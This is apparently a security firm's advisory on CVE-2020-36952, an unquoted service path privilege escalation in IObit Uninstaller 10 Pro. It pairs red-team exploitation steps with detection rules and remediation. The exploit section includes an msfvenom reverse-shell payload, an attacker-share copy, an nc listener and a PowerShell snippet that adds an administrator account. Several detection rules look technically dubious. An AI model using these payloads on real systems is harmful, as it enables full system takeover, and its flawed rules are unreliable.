CVE-2020-36952

Executive Summary

CVE-2020-36952 identifies a local privilege escalation vulnerability in IObit Uninstaller 10 Pro. The vulnerability stems from an unquoted service path in the IObit Uninstaller Service. This allows a local attacker with limited privileges to place a malicious executable in a directory that will be executed with SYSTEM-level privileges when the service starts. The attack vector is local, requiring the attacker to have a user account on the target system. The vulnerability is considered high severity due to the potential for complete system compromise.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a local privilege escalation vulnerability in a Windows desktop application.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) - The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) - The attack does not require special conditions.
• Privileges Required (PR): Low (L) - The attacker needs a standard user account.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the security scope of the vulnerable component.
• Confidentiality (C): High (H) - Complete disclosure of all system data.
• Integrity (I): High (H) - Complete compromise of system integrity.
• Availability (A): High (H) - Complete loss of system availability.

Threat Level: High. The vulnerability is easy to exploit and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue. The IObit Uninstaller Service is configured with a path to its executable that is not enclosed in quotation marks. For example, the service path might be:

C:\Program Files\IObit\IObit Uninstaller\UninstallService.exe

When Windows attempts to start this service, it interprets the path as a series of potential executables. It will first try to execute:

C:\Program.exe C:\Program Files\IObit\IObit.exe C:\Program Files\IObit\IObit Uninstaller\UninstallService.exe

If an attacker can place a malicious executable named Program.exe in the root of the C:\ drive, or IObit.exe in the C:\Program Files\IObit\ directory, that executable will be executed with SYSTEM privileges when the service starts.

The attack flow:

1. Attacker gains a foothold on the target system (e.g., via phishing, malware).
2. Attacker identifies the unquoted service path (e.g., using wmic service get name,pathname).
3. Attacker places a malicious executable (e.g., a reverse shell) in a directory that will be executed before the legitimate service.
4. Attacker triggers a system reboot or service restart.
5. The malicious executable runs with SYSTEM privileges, granting the attacker full control.

Vulnerable vs. Patched Code

The vulnerability is not in the code of the executable itself, but in the service configuration. The "vulnerable" configuration is the unquoted path in the Windows service registry.

Vulnerable Configuration (Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\IObitUninstaller):

ImagePath = C:\Program Files\IObit\IObit Uninstaller\UninstallService.exe

Patched Configuration:

ImagePath = "C:\Program Files\IObit\IObit Uninstaller\UninstallService.exe"

The fix is simply to enclose the path in double quotes. Since the patch status is UNKNOWN, it is assumed that the vendor has not released a fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: Windows 10/11 with IObit Uninstaller 10 Pro installed.
• Attacker: Kali Linux or any system with a reverse shell payload.

Exploitation Steps:

1. Identify the vulnerable service:

   wmic service where "name like 'IObit%%'" get name,pathname,startname
   

2. Create a malicious executable (e.g., reverse shell):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe
   

3. Place the malicious executable in the path:

   copy \\attacker\share\Program.exe C:\Program.exe
   

4. Trigger the service start (requires reboot or service restart):

   shutdown /r /t 0
   

   Or, if the service is not running:

   net start IObitUninstaller
   

5. Receive the reverse shell:

   nc -lvnp 4444
   

Alternative Payload (using PowerShell):

# Create a simple executable that adds a user to the Administrators group
$code = @"
using System;
using System.Diagnostics;
class Program {
    static void Main() {
        Process.Start("net", "localgroup Administrators attacker /add");
    }
}
"@
Add-Type -TypeDefinition $code -OutputAssembly "C:\Program.exe"

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for service path changes: Use Sysmon Event ID 13 (RegistryEvent) to detect changes to HKLM\SYSTEM\CurrentControlSet\Services\*.
2. Monitor for suspicious file creation: Look for Program.exe or IObit.exe in unusual locations (e.g., C:\, C:\Program Files\IObit\).
3. Monitor for service start/stop events: Use Event ID 7036 (Service Control Manager) to detect unexpected service starts.
4. Audit for unquoted service paths: Regularly scan for unquoted service paths using tools like PowerUp.ps1 or custom scripts.

Response Steps:

1. Isolate the affected system.
2. Identify and remove the malicious executable.
3. Correct the service path by adding quotes.
4. Review logs for lateral movement or data exfiltration.
5. Reset credentials of any compromised accounts.

Indicators of Compromise (IOCs)

• File Indicators:

  • C:\Program.exe (or any executable in a path that matches the unquoted service path)
  • C:\Program Files\IObit\IObit.exe
  • Any executable with a name matching a segment of the unquoted path.

• Registry Indicators:

  • HKLM\SYSTEM\CurrentControlSet\Services\IObitUninstaller\ImagePath containing an unquoted path.

• Process Indicators:

  • A process named Program.exe or IObit.exe running from an unusual location.
  • A process with SYSTEM privileges that was spawned from a user-writable directory.

• Network Indicators:

  • Outbound connections from the system to an unknown IP address (if a reverse shell is used).

Detection Engineering

YARA Rule

rule CVE_2020_36952_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for IObit Uninstaller"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2020-36952"
    strings:
        $service_path = "IObit Uninstaller\\UninstallService.exe" nocase
        $unquoted = /^[^"]/  // Path does not start with a quote
    condition:
        $service_path and $unquoted
}

Sigma Rule

title: Unquoted Service Path - IObit Uninstaller
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects the creation or modification of a service with an unquoted path for IObit Uninstaller
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36952
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 13
        TargetObject|contains: 'HKLM\SYSTEM\CurrentControlSet\Services\IObitUninstaller'
        Details|contains: 'ImagePath'
        Details|re: '^[^"]'  # Path does not start with a quote
    condition: selection
falsepositives:
    - Legitimate administrative changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2020-36952 - Potential IObit Uninstaller Exploitation";
    flow:to_server,established;
    content:"Program.exe"; http_uri; nocase;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Fix: Manually add quotes to the service path in the registry:

   sc config IObitUninstaller binPath="\"C:\Program Files\IObit\IObit Uninstaller\UninstallService.exe\""
   

2. Vendor Patch: Contact IObit for an official patch. If unavailable, consider uninstalling the software.

3. General Mitigation:

   • Restrict write permissions to directories in the service path.
   • Use Group Policy to enforce quoted service paths.
   • Regularly audit for unquoted service paths using tools like PowerUp.ps1 or custom scripts.
   • Implement application whitelisting to prevent unauthorized executables.

4. Long-term:

   • Monitor vendor advisories for a permanent fix.
   • Consider alternative uninstaller tools that follow secure coding practices.

Valters IT